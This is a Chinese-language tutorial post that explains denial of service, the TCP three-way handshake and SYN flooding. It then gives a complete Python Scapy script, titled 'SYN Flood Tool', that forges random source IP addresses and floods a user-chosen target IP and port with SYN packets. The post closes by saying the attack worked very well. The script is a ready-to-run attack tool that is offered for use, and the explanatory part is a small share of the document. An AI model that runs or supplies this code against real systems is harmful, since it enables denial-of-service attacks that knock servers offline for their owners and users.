💪💪
DOS: 也就是我们所说到的拒绝服务,一切能够引起DoS行为的攻击都被称为DoS攻击,该攻击的效果是使得计算机或者网络无法提供正常的服务。
💪💪**
DOS攻击:** 指的是造成DoS的攻击行为,目的是使攻击目标计算机无法提供正常的服务 。

服务端监听某个端口,处于
LISTEN状态。 客户端还处在关闭状态
2.💎💎 客户端发送TCP连接请求
客户端会随机一个
初始序列seq=x(seq=x表示最后一个发送的字节编号为x),设置SYN=1(SYN=1表示是连接请求或者接收报文) ,表示这是SYN握手报文。然后就可以把这个SYN报文发送给服务端了,表示向服务端发起连接,之后客户端处于同步已发送状态。
服务端收到客户端的
SYN报文后,也随机一个初始序列号(seq=y)设置ack=x+1(ack=x+1表示下一个想要接收的字节序列为x+1) 设置SYN=1 和 ACK=1(ACK=1:表示是确认报文) 最后把该报文发给客户端,该报文也不包含应用层数据,之后服务端处于同步已接收 状态。
客户端收到服务端报文后,还要向服务端回应最后一个应答报文,将
ACK置为 1,表示这是一个应答报文ack=y+1,表示收到了服务器的y之前的数据,希望服务器下次发送的数据从y+1开始。最后把报文发送给服务端,这次报文可以携带数据,之后客户端处于 连接已建立 状态。服务器收到客户端的应答报文后,也进入连接已建立 状态
理论: SYN攻击大量发送
伪造源IP的第一次握手SYN包,服务器每接收到一个SYN包就会为这个连接信息分配核心内存并放入半连接队列,当攻击的SYN包超过半连接队列的最大值时,正常的客户发送SYN数据包请求连接就会被服务器丢弃。导致正常的连接请求无法成功。
具体实现如下所示
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fwifgKJL-1667049790036)(C:\Users\YK\Desktop\20210110230910658.png)]
就是程序伪造IP地址,多次与服务器建立第一次连接,而又不接收服务器的请求应答报文,这样服务器多个进程处于连接状态而又不能够解除连接,进而浪费服务器资源
Python中 Scapy是一个由Python编写的强大工具,目前很多优秀的网络扫描攻击工具都使用了这个模块。也可以在自己的程序中使用这个模块来实现对网络数据包的发送 ,所以使用了 Scapy 之后,就不需要太多的算法思想了,其中整个代码的思想如下:
IP()/TCP()
⚠️⚠️以下代码必须在Linux下运行
from scapy.all import *
import random
# 生成随机的IP
def randomIP():
ip = ".".join(map(str, (random.randint(0, 255) for i in range(4)))) # 随机生成4个数,并以.连接
return ip # 返回IP地址
# 生成随机端口
def randomPort():
port = random.randint(1000, 10000) # 随机生成1000到10000之间的数作为端口
return port # 返回端口
# syn-flood
def synFlood(count, dstIP, dstPort):
"""
:param count: 要发送的连接请求数量
:param dstIP: 目的IP地址
:param dstPort: 目的端口
:return: 没有返回值
"""
total = 0
print("Packets are sending ...")
for i in range(count): # 进行发送循环
srcIP = randomIP()
srcPort = randomPort() # 随机生成攻击IP地址和端口
# 封装包
IPlayer = IP(src=srcIP, dst=dstIP)
TCPlayer = TCP(sport=srcPort, dport=dstPort, flags="S")
packet = IPlayer / TCPlayer # 生成包
send(packet) # 发送包
total += 1
print("以全部发送完毕")
def info():
"""
:return: 返回IP地址和端口
"""
print("#" * 30)
print("# Welcome to SYN Flood Tool #")
print("#" * 30)
# 输入目标IP和端口
dstIP = input("Target IP : ")
dstPort = int(input("Target Port : "))
return dstIP, dstPort
if __name__ == '__main__':
dstIP, dstPort = info()
count = int(input("Please input the number of packets:"))
synFlood(count, dstIP, dstPort)



总体来说,攻击的非常成功
总体来说还是非常简单的,PYthon的Scapy模块中有封装好的函数可以使用,直接构造HTTP包,然后直接发送就可以了